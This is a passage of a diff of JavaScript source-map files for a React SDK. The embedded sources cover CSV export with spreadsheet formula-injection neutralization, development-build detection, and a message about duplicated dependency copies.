Neutralize a text field a spreadsheet would evaluate.\n *\n * Two shapes are exempt from the OWASP trigger list: a plain number (see\n * {@link PLAIN_NUMBER}) and a lone `-`, the usual \"no value\" placeholder in a\n * report. A lone operator has no operand, so no spreadsheet can evaluate it, and\n * prefixing it printed `'-` in LibreOffice 26.2 where `-` read as text.\n *\n * Measured on LibreOffice 26.2 headless (`--infilter=\"CSV:59,34,76,1\"`) without\n * the prefix: `=1+2` was a formula; `+55 (11) 99999-9999`, `@maria`, a TAB before\n * `=`, a space before `=` and a quoted newline before `=` all stayed text. The\n * list is kept whole anyway — Excel and Google Sheets read `+`, `-`, `@` and TAB\n * as formula starts, and that is what OWASP's list is for. A space or newline\n * before `=` is not added: it read as text, not as a formula.\n *\n * Only the field start is checked. A `,`, `;` or TAB inside the text does not\n * get a `'` after it: the field is quoted (see {@link escapeField}), a quoted\n * field is not split by a spreadsheet whatever its list separator, and a `'`\n * mid-text would corrupt the value in every spreadsheet for no protection.\n *\n * @param value - The already-stringified field.\n * @returns The field with a leading `'` when it would read as a formula.\n */\nfunction neutralizeFormula(value: string): string {\n if (value === \"-\" || PLAIN_NUMBER.test(value)) return value;\n return FORMULA_TRIGGER.test(value) ? `'${value}` : value;\n}\n\n/**\n * Characters a spreadsheet may split a bare field on: either locale's list\n * separator (`,` in en-US, `;` in pt-BR) and TAB, which Excel's import also\n * offers. A file written with one delimiter is routinely opened by a spreadsheet\n * that splits on the other, so text holding any of them is quoted (see\n * {@link escapeField}).\n */\nconst LIST_SEPARATORS = /[,;\\t]/;\n\n/**\n * Quote one field per RFC 4180.\n *\n * A field is quoted when it contains the delimiter, a double quote, or a line\n * break; inside a quoted field, each double quote is doubled. With\n * `guardSeparators`, a text field holding any list separator (`,`, `;`, TAB —\n * see {@link LIST_SEPARATORS}) is quoted as well, whatever the delimiter, so a\n * spreadsheet that splits on the other locale's separator keeps it in one cell\n * (#481). A plain number is left out of that rule: it cannot carry a formula,\n * and `-1.234,56` in a `;` file stays as it was. Fields that need none of this\n * are written bare, which keeps the common file readable.\n *\n * @param value - The already-stringified field.\n * @param delimiter - The separator in use, which decides part of the quoting.\n * @param guardSeparators - Also quote text holding the other list separators;\n * on whenever formula neutralization is.\n * @returns The field, quoted if it has to be.\n */\nfunction escapeField(value: string, delimiter: string, guardSeparators: boolean): string {\n const mustQuote =\n value.includes(delimiter) ||\n (guardSeparators && LIST_SEPARATORS.test(value) && !PLAIN_NUMBER.test(value)) ||\n value.includes('\"') ||\n value.includes(\"\\n\") ||\n value.includes(\"\\r\");\n if (!mustQuote) return value;\n return `\"${value.replaceAll('\"', '\"\"')}\"`;\n}\n\n/**\n * Stringify one cell, keeping the difference between \"no value\" and \"zero\".\n *\n * `null` and `undefined` become an empty field; `0` and `false` are values\n * somebody chose and are written out. Getting this backwards is how an export\n * ends up under-reporting every row that legitimately holds a zero.\n *\n * Text — a string, or anything else stringified — goes through the formula\n * neutralization when it is on; numbers, bigints and booleans never do, since none\n * of them can stringify to a formula.\n *\n * @param value - The raw cell value.\n * @param neutralize - Whether to neutralize a formula-looking text field.\n * @returns The text to write.\n */\nfunction cellText(value: unknown, neutralize: boolean): string {\n if (value === null || value === undefined) return \"\";\n if (typeof value === \"number\" || typeof value === \"bigint\" || typeof value === \"boolean\") {\n return String(value);\n }\n if (value instanceof Date) return value.toISOString();\n return neutralize ? neutralizeFormula(String(value)) : String(value);\n}\n\n/**\n * Serialize rows to CSV text, RFC 4180 style.\n *\n * Rows are separated by `\\r\\n` — the RFC's terminator and the one Excel is least\n * surprised by. Text that a spreadsheet would evaluate as a formula is written\n * with a leading `'` unless `neutralizeFormulas` is `false` (see\n * {@link CsvOptions.neutralizeFormulas}). A row is emitted for the header even when `rows` is empty, so the\n * person who opens the file sees which columns they asked for instead of a blank\n * document.\n *\n * @example\n * const csv = toCsv(users, [\n * { key: \"name\", header: \"Nome\" },\n * { key: \"email\", header: \"E-mail\" },\n * { key: \"plan\", header: \"Plano\", csv: (user) => user.plan.label },\n * ]);\n *\n * @param rows - The rows to export.\n * @param columns - Columns, in the order they should appear.\n * @param options - Delimiter, BOM and formula neutralization.\n * @returns The complete file contents.\n */\nexport function toCsv<T>(\n rows: readonly T[],\n columns: readonly CsvColumn<T>[],\n options: CsvOptions = {},\n): string {\n const { delimiter = \",\", bom = true, neutralizeFormulas = true } = options;\n\n const lines = [\n columns\n .map((column) =>\n escapeField(\n cellText(column.header, neutralizeFormulas),\n delimiter,\n neutralizeFormulas,\n ),\n )\n .join(delimiter),\n ];\n\n for (const row of rows) {\n const cells = columns.map((column) => {\n const raw = column.csv\n ? column.csv(row)\n : (row as Record<string, unknown>)[column.key as string];\n return escapeField(cellText(raw, neutralizeFormulas), delimiter, neutralizeFormulas);\n });\n lines.push(cells.join(delimiter));\n }\n\n return `${bom ? BOM : \"\"}${lines.join(\"\\r\\n\")}`;\n}\n\n/**\n * Build a CSV and hand it to the user.\n *\n * Goes through {@link shareOrDownloadBlob}, so on a phone it opens the native\n * share sheet and everywhere else it downloads — the same path every other\n * generated artifact in the SDK takes, instead of a fourth hand-rolled `<a\n * download>`.\n *\n * @example\n * await downloadCsv(users, COLUMNS, \"usuarios.csv\");\n *\n * @param rows - The rows to export.\n * @param columns - Columns, in the order they should appear.\n * @param fileName - File name offered to the user. Default `\"export.csv\"`.\n * @param options - Delimiter, BOM and formula neutralization, forwarded to\n * {@link toCsv}.\n * @returns A promise that resolves once the share or download completes.\n */\nexport async function downloadCsv<T>(\n rows: readonly T[],\n columns: readonly CsvColumn<T>[],\n fileName = \"export.csv\",\n options: CsvOptions = {},\n): Promise<void> {\n const blob = new Blob([toCsv(rows, columns, options)], {\n type: \"text/csv;charset=utf-8\",\n });\n await shareOrDownloadBlob(blob, fileName);\n}\n"],"mappings":";;AAqBA,IAAMA,IAAM,KA4DNC,IAAkB,gBAQlBC,IAAe;AAyBrB,SAASC,EAAkB,GAAuB;CAE9C,OADIC,MAAU,OAAOF,EAAa,KAAKE,CAAK,IAAUA,IAC/CH,EAAgB,KAAKG,CAAK,IAAI,IAAIA,MAAUA;AACvD;AASA,IAAMC,IAAkB;AAoBxB,SAASC,EAAY,GAAe,GAAmB,GAAkC;CAQrF,OANIF,EAAM,SAASG,CAAS,KACvBC,KAAmBH,EAAgB,KAAKD,CAAK,KAAK,CAACF,EAAa,KAAKE,CAAK,KAC3EA,EAAM,SAAS,IAAG,KAClBA,EAAM,SAAS,IAAI,KACnBA,EAAM,SAAS,IAAI,IAEhB,IAAIA,EAAM,WAAW,MAAK,MAAI,EAAE,KADhBA;AAE3B;AAiBA,SAASK,EAAS,GAAgB,GAA6B;CAM3D,OALIL,KAAU,OAAoC,KAC9C,OAAOA,KAAU,YAAY,OAAOA,KAAU,YAAY,OAAOA,KAAU,YACpE,OAAOA,CAAK,IAEnBA,aAAiB,OAAaA,EAAM,YAAY,IAC7CM,IAAaP,EAAkB,OAAOC,CAAK,CAAC,IAAI,OAAOA,CAAK;AACvE;AAwBA,SAAgBO,EACZ,GACA,GACA,IAAsB,CAAC,GACjB;CACN,IAAM,EAAE,eAAY,KAAK,SAAM,IAAM,wBAAqB,OAASC,GAE7DC,IAAQ,CACVC,EACK,KAAK,MACFR,EACIG,EAASM,EAAO,QAAQC,CAAkB,GAC1CT,GACAS,CACJ,CACJ,CAAC,CACA,KAAKT,CAAS,CACvB;CAEA,KAAK,IAAMU,KAAOC,GAAM;EACpB,IAAMC,IAAQL,EAAQ,KAAK,MAIhBR,EAAYG,EAHPM,EAAO,MACbA,EAAO,IAAIE,CAAG,IACbA,EAAgCF,EAAO,MACbC,CAAkB,GAAGT,GAAWS,CAAkB,CACtF;EACD,EAAM,KAAKG,EAAM,KAAKZ,CAAS,CAAC;CACpC;CAEA,OAAO,GAAGa,IAAMpB,IAAM,KAAKa,EAAM,KAAK,MAAM;AAChD;AAoBA,eAAsBQ,EAClB,GACA,GACA,IAAW,cACX,IAAsB,CAAC,GACV;CACb,IAAMC,IAAO,IAAI,KAAK,CAACX,EAAMO,GAAMJ,GAASF,CAAO,CAAC,GAAG,EACnD,MAAM,yBACV,CAAC;CACD,MAAMW,EAAoBD,GAAME,CAAQ;AAC5C"}
@@ -1 +1 @@
1
- {"version":3,"file":"dev-mode.cjs","names":[],"sources":["../../src/utils/dev-mode.ts"],"sourcesContent":["/**\n * {@link isDevBuild} stays internal, imported by path (`../utils/dev-mode`)\n * rather than through the `utils` barrel: re-exporting it would make a one-line\n * env read part of the package's public API, with the semver weight that\n * carries, for something no consumer asked for. Every dev-only diagnostic in\n * the SDK routes through it — `grep -rn \"dev-mode\" src/` for the current list,\n * which an enumeration written here would only drift away from.\n *\n * {@link setDevBuild} is public, because a context nothing compiles cannot be\n * detected from the inside. See its doc for when that is.\n */\n\n/**\n * Whether the consuming app was built for development.\n *\n * Reads `process.env.NODE_ENV`, which every supported bundler replaces with a\n * literal **while building the app** — Vite included. That last word is a\n * correction: this doc used to claim Vite substitutes neither half, so every\n * dev-only diagnostic in the SDK was unreachable under `vite dev`. Measured on\n * 2026-09-07 with 0.61.0 installed into a probe app, both from a packed tarball\n * (a real copy under `node_modules`, which Vite pre-bundles) and from a `file:`\n * link (a symlink it does not), reading back the module the dev server actually\n * served:\n *\n * | Vite | `vite dev` | `vite build` |\n * | --- | --- | --- |\n * | 5.4.21, 6.4.3, 7.3.6 | folded to `true` | folded to `false` |\n * | 8.2.2 | `\"development\" !== \"production\"` | folded to `false` |\n *\n * So this answers correctly in a Vite app on its own, in development and in\n * production, pre-bundled or served through the dev server's transform. The\n * wrong belief survived releases because nobody read the served module — the\n * expression is not substituted in a *browser console*, which is where it is\n * natural to go looking.\n *\n * `import.meta.env.DEV` still cannot be used here: Vite would replace it while\n * building *this package*, so the published artifact would carry the constant\n * and every guard behind it would be dead code no app could switch back on.\n *\n * The expression is written out in full, and the failure is caught rather than\n * guarded against. A `typeof process === \"undefined\"` check would read as the\n * careful version and quietly break the environments that work: substitution\n * replaces the member expression `process.env.NODE_ENV` and nothing else, so\n * the guard would return early in front of a literal that had already been\n * swapped in. The identifier itself never exists at runtime — `typeof process`\n * is `\"undefined\"` in the page, measured in the same probe — which is exactly\n * why the read is wrapped in `try` instead.\n *\n * Returns `false` when the read throws, which is the context nothing\n * transformed: a raw service-worker script, a plain `<script type=\"module\">`, a\n * bundler substituting nothing. Staying quiet there is deliberate — a dev-only\n * warning that cannot prove it is in development is better silent than shouting\n * in someone's production console.\n *\n * {@link setDevBuild} overrides all of it and is checked first.\n *\n * @returns Whether development-only diagnostics should run.\n *\n * @example\n * if (isDevBuild()) console.warn(\"[my-app] this prop combination does nothing\");\n *\n * @tempest-limits empty-catch — the only thing the read can throw is the\n * environment answering \"not defined\", which is the return value, not an error\n * worth reporting. Logging it would print on every call in exactly the context\n * that has nowhere to print.\n */\nlet configuredDevBuild: boolean | undefined;\n\n/**\n * Tell the SDK whether the app around it was built for development.\n *\n * Call it once, at bootstrap, from a context {@link isDevBuild} cannot read:\n *\n * ```ts\n * import { setDevBuild } from \"tempest-react-sdk\";\n *\n * setDevBuild(import.meta.env.DEV);\n * ```\n *\n * **When you need it.** Not for an ordinary Vite, webpack, Rspack or Parcel\n * app: all of them substitute `process.env.NODE_ENV` while building the app, so\n * the automatic read already answers correctly there — measured for Vite 5\n * through 8 in {@link isDevBuild}, whose doc carries the table. What is left is\n * the context nothing compiles or nothing configures:\n *\n * - code no bundler transformed — a raw service-worker script registered as a\n * file of its own, a plain `<script type=\"module\">`;\n * - a staging or QA build that never sets `NODE_ENV=production`, where the\n * automatic answer is `true` and `parseResponse` would put the raw response\n * payload in an error string seen by real users. `setDevBuild(false)` closes\n * that;\n * - a test that wants the other branch, and puts it back on the way out.\n *\n * `import.meta.env.DEV` cannot be read by the SDK on your behalf, which is why\n * the signal is a parameter: Vite would replace it while building *this\n * package*, and the published artifact would ship the constant.\n *\n * The default stays `false` when the read throws. `parseResponse` puts the raw\n * response payload in its message when this is on, so guessing `true` in a\n * context that cannot prove it leaks a payload into a production error string.\n * Silence is the safe default; the report is one line away for anyone who wants\n * it.\n *\n * Passing `undefined` clears the override and returns to automatic detection,\n * which is what a test that set it should do on the way out.\n *\n * @param value - `true` for a development build, `false` for production,\n * `undefined` to go back to detecting it.\n *\n * @example\n * // A service worker, or any context no bundler transformed\n * setDevBuild(false);\n *\n * @example\n * // A test that flips it, and puts it back\n * afterEach(() => setDevBuild(undefined));\n */\nexport function setDevBuild(value: boolean | undefined): void {\n configuredDevBuild = value;\n}\n\nexport function isDevBuild(): boolean {\n if (configuredDevBuild !== undefined) return configuredDevBuild;\n try {\n return process.env.NODE_ENV !== \"production\";\n } catch {\n return false;\n }\n}\n"],"mappings":"AAkEA,IAAI,EAmDJ,SAAgB,EAAY,EAAkC,CAC1D,EAAqB,CACzB,CAEA,SAAgB,GAAsB,CAClC,GAAI,IAAuB,IAAA,GAAW,OAAO,EAC7C,GAAI,CACA,OAAA,QAAA,IAAA,WAAgC,YACpC,MAAQ,CACJ,MAAO,EACX,CACJ"}
1
+ {"version":3,"file":"dev-mode.cjs","names":["configuredDevBuild","setDevBuild","value","isDevBuild"],"sources":["../../src/utils/dev-mode.ts"],"sourcesContent":["/**\n * {@link isDevBuild} stays internal, imported by path (`../utils/dev-mode`)\n * rather than through the `utils` barrel: re-exporting it would make a one-line\n * env read part of the package's public API, with the semver weight that\n * carries, for something no consumer asked for. Every dev-only diagnostic in\n * the SDK routes through it — `grep -rn \"dev-mode\" src/` for the current list,\n * which an enumeration written here would only drift away from.\n *\n * {@link setDevBuild} is public, because a context nothing compiles cannot be\n * detected from the inside. See its doc for when that is.\n */\n\n/**\n * Whether the consuming app was built for development.\n *\n * Reads `process.env.NODE_ENV`, which every supported bundler replaces with a\n * literal **while building the app** — Vite included. That last word is a\n * correction: this doc used to claim Vite substitutes neither half, so every\n * dev-only diagnostic in the SDK was unreachable under `vite dev`. Measured on\n * 2026-09-07 with 0.61.0 installed into a probe app, both from a packed tarball\n * (a real copy under `node_modules`, which Vite pre-bundles) and from a `file:`\n * link (a symlink it does not), reading back the module the dev server actually\n * served:\n *\n * | Vite | `vite dev` | `vite build` |\n * | --- | --- | --- |\n * | 5.4.21, 6.4.3, 7.3.6 | folded to `true` | folded to `false` |\n * | 8.2.2 | `\"development\" !== \"production\"` | folded to `false` |\n *\n * So this answers correctly in a Vite app on its own, in development and in\n * production, pre-bundled or served through the dev server's transform. The\n * wrong belief survived releases because nobody read the served module — the\n * expression is not substituted in a *browser console*, which is where it is\n * natural to go looking.\n *\n * `import.meta.env.DEV` still cannot be used here: Vite would replace it while\n * building *this package*, so the published artifact would carry the constant\n * and every guard behind it would be dead code no app could switch back on.\n *\n * The expression is written out in full, and the failure is caught rather than\n * guarded against. A `typeof process === \"undefined\"` check would read as the\n * careful version and quietly break the environments that work: substitution\n * replaces the member expression `process.env.NODE_ENV` and nothing else, so\n * the guard would return early in front of a literal that had already been\n * swapped in. The identifier itself never exists at runtime — `typeof process`\n * is `\"undefined\"` in the page, measured in the same probe — which is exactly\n * why the read is wrapped in `try` instead.\n *\n * Returns `false` when the read throws, which is the context nothing\n * transformed: a raw service-worker script, a plain `<script type=\"module\">`, a\n * bundler substituting nothing. Staying quiet there is deliberate — a dev-only\n * warning that cannot prove it is in development is better silent than shouting\n * in someone's production console.\n *\n * {@link setDevBuild} overrides all of it and is checked first.\n *\n * @returns Whether development-only diagnostics should run.\n *\n * @example\n * if (isDevBuild()) console.warn(\"[my-app] this prop combination does nothing\");\n *\n * @tempest-limits empty-catch — the only thing the read can throw is the\n * environment answering \"not defined\", which is the return value, not an error\n * worth reporting. Logging it would print on every call in exactly the context\n * that has nowhere to print.\n */\nlet configuredDevBuild: boolean | undefined;\n\n/**\n * Tell the SDK whether the app around it was built for development.\n *\n * Call it once, at bootstrap, from a context {@link isDevBuild} cannot read:\n *\n * ```ts\n * import { setDevBuild } from \"tempest-react-sdk\";\n *\n * setDevBuild(import.meta.env.DEV);\n * ```\n *\n * **When you need it.** Not for an ordinary Vite, webpack, Rspack or Parcel\n * app: all of them substitute `process.env.NODE_ENV` while building the app, so\n * the automatic read already answers correctly there — measured for Vite 5\n * through 8 in {@link isDevBuild}, whose doc carries the table. What is left is\n * the context nothing compiles or nothing configures:\n *\n * - code no bundler transformed — a raw service-worker script registered as a\n * file of its own, a plain `<script type=\"module\">`;\n * - a staging or QA build that never sets `NODE_ENV=production`, where the\n * automatic answer is `true` and `parseResponse` would put the raw response\n * payload in an error string seen by real users. `setDevBuild(false)` closes\n * that;\n * - a test that wants the other branch, and puts it back on the way out.\n *\n * `import.meta.env.DEV` cannot be read by the SDK on your behalf, which is why\n * the signal is a parameter: Vite would replace it while building *this\n * package*, and the published artifact would ship the constant.\n *\n * The default stays `false` when the read throws. `parseResponse` puts the raw\n * response payload in its message when this is on, so guessing `true` in a\n * context that cannot prove it leaks a payload into a production error string.\n * Silence is the safe default; the report is one line away for anyone who wants\n * it.\n *\n * Passing `undefined` clears the override and returns to automatic detection,\n * which is what a test that set it should do on the way out.\n *\n * @param value - `true` for a development build, `false` for production,\n * `undefined` to go back to detecting it.\n *\n * @example\n * // A service worker, or any context no bundler transformed\n * setDevBuild(false);\n *\n * @example\n * // A test that flips it, and puts it back\n * afterEach(() => setDevBuild(undefined));\n */\nexport function setDevBuild(value: boolean | undefined): void {\n configuredDevBuild = value;\n}\n\nexport function isDevBuild(): boolean {\n if (configuredDevBuild !== undefined) return configuredDevBuild;\n try {\n return process.env.NODE_ENV !== \"production\";\n } catch {\n return false;\n }\n}\n"],"mappings":"AAkEA,IAAIA,EAmDJ,SAAgBC,EAAY,EAAkC,CAC1D,EAAqBC,CACzB,CAEA,SAAgBC,GAAsB,CAClC,GAAIH,IAAuB,IAAA,GAAW,OAAOA,EAC7C,GAAI,CACA,OAAA,QAAA,IAAA,WAAgC,YACpC,MAAQ,CACJ,MAAO,EACX,CACJ,C"}
@@ -1 +1 @@
1
- {"version":3,"file":"dev-mode.js","names":[],"sources":["../../src/utils/dev-mode.ts"],"sourcesContent":["/**\n * {@link isDevBuild} stays internal, imported by path (`../utils/dev-mode`)\n * rather than through the `utils` barrel: re-exporting it would make a one-line\n * env read part of the package's public API, with the semver weight that\n * carries, for something no consumer asked for. Every dev-only diagnostic in\n * the SDK routes through it — `grep -rn \"dev-mode\" src/` for the current list,\n * which an enumeration written here would only drift away from.\n *\n * {@link setDevBuild} is public, because a context nothing compiles cannot be\n * detected from the inside. See its doc for when that is.\n */\n\n/**\n * Whether the consuming app was built for development.\n *\n * Reads `process.env.NODE_ENV`, which every supported bundler replaces with a\n * literal **while building the app** — Vite included. That last word is a\n * correction: this doc used to claim Vite substitutes neither half, so every\n * dev-only diagnostic in the SDK was unreachable under `vite dev`. Measured on\n * 2026-09-07 with 0.61.0 installed into a probe app, both from a packed tarball\n * (a real copy under `node_modules`, which Vite pre-bundles) and from a `file:`\n * link (a symlink it does not), reading back the module the dev server actually\n * served:\n *\n * | Vite | `vite dev` | `vite build` |\n * | --- | --- | --- |\n * | 5.4.21, 6.4.3, 7.3.6 | folded to `true` | folded to `false` |\n * | 8.2.2 | `\"development\" !== \"production\"` | folded to `false` |\n *\n * So this answers correctly in a Vite app on its own, in development and in\n * production, pre-bundled or served through the dev server's transform. The\n * wrong belief survived releases because nobody read the served module — the\n * expression is not substituted in a *browser console*, which is where it is\n * natural to go looking.\n *\n * `import.meta.env.DEV` still cannot be used here: Vite would replace it while\n * building *this package*, so the published artifact would carry the constant\n * and every guard behind it would be dead code no app could switch back on.\n *\n * The expression is written out in full, and the failure is caught rather than\n * guarded against. A `typeof process === \"undefined\"` check would read as the\n * careful version and quietly break the environments that work: substitution\n * replaces the member expression `process.env.NODE_ENV` and nothing else, so\n * the guard would return early in front of a literal that had already been\n * swapped in. The identifier itself never exists at runtime — `typeof process`\n * is `\"undefined\"` in the page, measured in the same probe — which is exactly\n * why the read is wrapped in `try` instead.\n *\n * Returns `false` when the read throws, which is the context nothing\n * transformed: a raw service-worker script, a plain `<script type=\"module\">`, a\n * bundler substituting nothing. Staying quiet there is deliberate — a dev-only\n * warning that cannot prove it is in development is better silent than shouting\n * in someone's production console.\n *\n * {@link setDevBuild} overrides all of it and is checked first.\n *\n * @returns Whether development-only diagnostics should run.\n *\n * @example\n * if (isDevBuild()) console.warn(\"[my-app] this prop combination does nothing\");\n *\n * @tempest-limits empty-catch — the only thing the read can throw is the\n * environment answering \"not defined\", which is the return value, not an error\n * worth reporting. Logging it would print on every call in exactly the context\n * that has nowhere to print.\n */\nlet configuredDevBuild: boolean | undefined;\n\n/**\n * Tell the SDK whether the app around it was built for development.\n *\n * Call it once, at bootstrap, from a context {@link isDevBuild} cannot read:\n *\n * ```ts\n * import { setDevBuild } from \"tempest-react-sdk\";\n *\n * setDevBuild(import.meta.env.DEV);\n * ```\n *\n * **When you need it.** Not for an ordinary Vite, webpack, Rspack or Parcel\n * app: all of them substitute `process.env.NODE_ENV` while building the app, so\n * the automatic read already answers correctly there — measured for Vite 5\n * through 8 in {@link isDevBuild}, whose doc carries the table. What is left is\n * the context nothing compiles or nothing configures:\n *\n * - code no bundler transformed — a raw service-worker script registered as a\n * file of its own, a plain `<script type=\"module\">`;\n * - a staging or QA build that never sets `NODE_ENV=production`, where the\n * automatic answer is `true` and `parseResponse` would put the raw response\n * payload in an error string seen by real users. `setDevBuild(false)` closes\n * that;\n * - a test that wants the other branch, and puts it back on the way out.\n *\n * `import.meta.env.DEV` cannot be read by the SDK on your behalf, which is why\n * the signal is a parameter: Vite would replace it while building *this\n * package*, and the published artifact would ship the constant.\n *\n * The default stays `false` when the read throws. `parseResponse` puts the raw\n * response payload in its message when this is on, so guessing `true` in a\n * context that cannot prove it leaks a payload into a production error string.\n * Silence is the safe default; the report is one line away for anyone who wants\n * it.\n *\n * Passing `undefined` clears the override and returns to automatic detection,\n * which is what a test that set it should do on the way out.\n *\n * @param value - `true` for a development build, `false` for production,\n * `undefined` to go back to detecting it.\n *\n * @example\n * // A service worker, or any context no bundler transformed\n * setDevBuild(false);\n *\n * @example\n * // A test that flips it, and puts it back\n * afterEach(() => setDevBuild(undefined));\n */\nexport function setDevBuild(value: boolean | undefined): void {\n configuredDevBuild = value;\n}\n\nexport function isDevBuild(): boolean {\n if (configuredDevBuild !== undefined) return configuredDevBuild;\n try {\n return process.env.NODE_ENV !== \"production\";\n } catch {\n return false;\n }\n}\n"],"mappings":";AAkEA,IAAI;AAmDJ,SAAgB,EAAY,GAAkC;CAC1D,IAAqB;AACzB;AAEA,SAAgB,IAAsB;CAClC,IAAI,MAAuB,KAAA,GAAW,OAAO;CAC7C,IAAI;EACA,OAAA,QAAA,IAAA,aAAgC;CACpC,QAAQ;EACJ,OAAO;CACX;AACJ"}
1
+ {"version":3,"file":"dev-mode.js","names":["configuredDevBuild","setDevBuild","value","isDevBuild"],"sources":["../../src/utils/dev-mode.ts"],"sourcesContent":["/**\n * {@link isDevBuild} stays internal, imported by path (`../utils/dev-mode`)\n * rather than through the `utils` barrel: re-exporting it would make a one-line\n * env read part of the package's public API, with the semver weight that\n * carries, for something no consumer asked for. Every dev-only diagnostic in\n * the SDK routes through it — `grep -rn \"dev-mode\" src/` for the current list,\n * which an enumeration written here would only drift away from.\n *\n * {@link setDevBuild} is public, because a context nothing compiles cannot be\n * detected from the inside. See its doc for when that is.\n */\n\n/**\n * Whether the consuming app was built for development.\n *\n * Reads `process.env.NODE_ENV`, which every supported bundler replaces with a\n * literal **while building the app** — Vite included. That last word is a\n * correction: this doc used to claim Vite substitutes neither half, so every\n * dev-only diagnostic in the SDK was unreachable under `vite dev`. Measured on\n * 2026-09-07 with 0.61.0 installed into a probe app, both from a packed tarball\n * (a real copy under `node_modules`, which Vite pre-bundles) and from a `file:`\n * link (a symlink it does not), reading back the module the dev server actually\n * served:\n *\n * | Vite | `vite dev` | `vite build` |\n * | --- | --- | --- |\n * | 5.4.21, 6.4.3, 7.3.6 | folded to `true` | folded to `false` |\n * | 8.2.2 | `\"development\" !== \"production\"` | folded to `false` |\n *\n * So this answers correctly in a Vite app on its own, in development and in\n * production, pre-bundled or served through the dev server's transform. The\n * wrong belief survived releases because nobody read the served module — the\n * expression is not substituted in a *browser console*, which is where it is\n * natural to go looking.\n *\n * `import.meta.env.DEV` still cannot be used here: Vite would replace it while\n * building *this package*, so the published artifact would carry the constant\n * and every guard behind it would be dead code no app could switch back on.\n *\n * The expression is written out in full, and the failure is caught rather than\n * guarded against. A `typeof process === \"undefined\"` check would read as the\n * careful version and quietly break the environments that work: substitution\n * replaces the member expression `process.env.NODE_ENV` and nothing else, so\n * the guard would return early in front of a literal that had already been\n * swapped in. The identifier itself never exists at runtime — `typeof process`\n * is `\"undefined\"` in the page, measured in the same probe — which is exactly\n * why the read is wrapped in `try` instead.\n *\n * Returns `false` when the read throws, which is the context nothing\n * transformed: a raw service-worker script, a plain `<script type=\"module\">`, a\n * bundler substituting nothing. Staying quiet there is deliberate — a dev-only\n * warning that cannot prove it is in development is better silent than shouting\n * in someone's production console.\n *\n * {@link setDevBuild} overrides all of it and is checked first.\n *\n * @returns Whether development-only diagnostics should run.\n *\n * @example\n * if (isDevBuild()) console.warn(\"[my-app] this prop combination does nothing\");\n *\n * @tempest-limits empty-catch — the only thing the read can throw is the\n * environment answering \"not defined\", which is the return value, not an error\n * worth reporting. Logging it would print on every call in exactly the context\n * that has nowhere to print.\n */\nlet configuredDevBuild: boolean | undefined;\n\n/**\n * Tell the SDK whether the app around it was built for development.\n *\n * Call it once, at bootstrap, from a context {@link isDevBuild} cannot read:\n *\n * ```ts\n * import { setDevBuild } from \"tempest-react-sdk\";\n *\n * setDevBuild(import.meta.env.DEV);\n * ```\n *\n * **When you need it.** Not for an ordinary Vite, webpack, Rspack or Parcel\n * app: all of them substitute `process.env.NODE_ENV` while building the app, so\n * the automatic read already answers correctly there — measured for Vite 5\n * through 8 in {@link isDevBuild}, whose doc carries the table. What is left is\n * the context nothing compiles or nothing configures:\n *\n * - code no bundler transformed — a raw service-worker script registered as a\n * file of its own, a plain `<script type=\"module\">`;\n * - a staging or QA build that never sets `NODE_ENV=production`, where the\n * automatic answer is `true` and `parseResponse` would put the raw response\n * payload in an error string seen by real users. `setDevBuild(false)` closes\n * that;\n * - a test that wants the other branch, and puts it back on the way out.\n *\n * `import.meta.env.DEV` cannot be read by the SDK on your behalf, which is why\n * the signal is a parameter: Vite would replace it while building *this\n * package*, and the published artifact would ship the constant.\n *\n * The default stays `false` when the read throws. `parseResponse` puts the raw\n * response payload in its message when this is on, so guessing `true` in a\n * context that cannot prove it leaks a payload into a production error string.\n * Silence is the safe default; the report is one line away for anyone who wants\n * it.\n *\n * Passing `undefined` clears the override and returns to automatic detection,\n * which is what a test that set it should do on the way out.\n *\n * @param value - `true` for a development build, `false` for production,\n * `undefined` to go back to detecting it.\n *\n * @example\n * // A service worker, or any context no bundler transformed\n * setDevBuild(false);\n *\n * @example\n * // A test that flips it, and puts it back\n * afterEach(() => setDevBuild(undefined));\n */\nexport function setDevBuild(value: boolean | undefined): void {\n configuredDevBuild = value;\n}\n\nexport function isDevBuild(): boolean {\n if (configuredDevBuild !== undefined) return configuredDevBuild;\n try {\n return process.env.NODE_ENV !== \"production\";\n } catch {\n return false;\n }\n}\n"],"mappings":";AAkEA,IAAIA;AAmDJ,SAAgBC,EAAY,GAAkC;CAC1D,IAAqBC;AACzB;AAEA,SAAgBC,IAAsB;CAClC,IAAIH,MAAuB,KAAA,GAAW,OAAOA;CAC7C,IAAI;EACA,OAAA,QAAA,IAAA,aAAgC;CACpC,QAAQ;EACJ,OAAO;CACX;AACJ"}
@@ -1 +1 @@
1
- {"version":3,"file":"duplicate-instance.cjs","names":[],"sources":["../../src/utils/duplicate-instance.ts"],"sourcesContent":["/**\n * Internal, and imported by path rather than through the `utils` barrel: it is\n * diagnostic copy, not API, and re-exporting it would give a sentence the\n * semver weight of a public export. The call sites are `<QueryProvider>` and\n * `<FormField>` — the two places where a second copy of a context-carrying\n * dependency surfaces as a failure the app cannot read.\n */\n\n/**\n * What to do about a second copy, worded once so the two call sites cannot\n * drift apart.\n *\n * `npm dedupe` comes first because it fixes the common case outright: npm\n * nested the copy only because the app's range and the SDK's range did not\n * overlap at install time, and deduping collapses them whenever a single\n * version satisfies both. `tempest doctor` comes second as the way to *see*\n * the problem — it walks `node_modules/tempest-react-sdk` for nested copies of\n * every context-carrying dependency and names the ones it finds, which is the\n * confirmation the app needs before touching versions by hand.\n */\nexport const DUPLICATE_COPY_REMEDY =\n \"Two copies of a package that carries React context cannot see each other's \" +\n \"providers. Run `npm dedupe`, or `npx tempest doctor` to list every duplicated \" +\n \"dependency, then align the versions so a single copy satisfies both the app \" +\n \"and the SDK.\";\n"],"mappings":"AAoBA,IAAa,EACT"}
1
+ {"version":3,"file":"duplicate-instance.cjs","names":["DUPLICATE_COPY_REMEDY"],"sources":["../../src/utils/duplicate-instance.ts"],"sourcesContent":["/**\n * Internal, and imported by path rather than through the `utils` barrel: it is\n * diagnostic copy, not API, and re-exporting it would give a sentence the\n * semver weight of a public export. The call sites are `<QueryProvider>` and\n * `<FormField>` — the two places where a second copy of a context-carrying\n * dependency surfaces as a failure the app cannot read.\n */\n\n/**\n * What to do about a second copy, worded once so the two call sites cannot\n * drift apart.\n *\n * `npm dedupe` comes first because it fixes the common case outright: npm\n * nested the copy only because the app's range and the SDK's range did not\n * overlap at install time, and deduping collapses them whenever a single\n * version satisfies both. `tempest doctor` comes second as the way to *see*\n * the problem — it walks `node_modules/tempest-react-sdk` for nested copies of\n * every context-carrying dependency and names the ones it finds, which is the\n * confirmation the app needs before touching versions by hand.\n */\nexport const 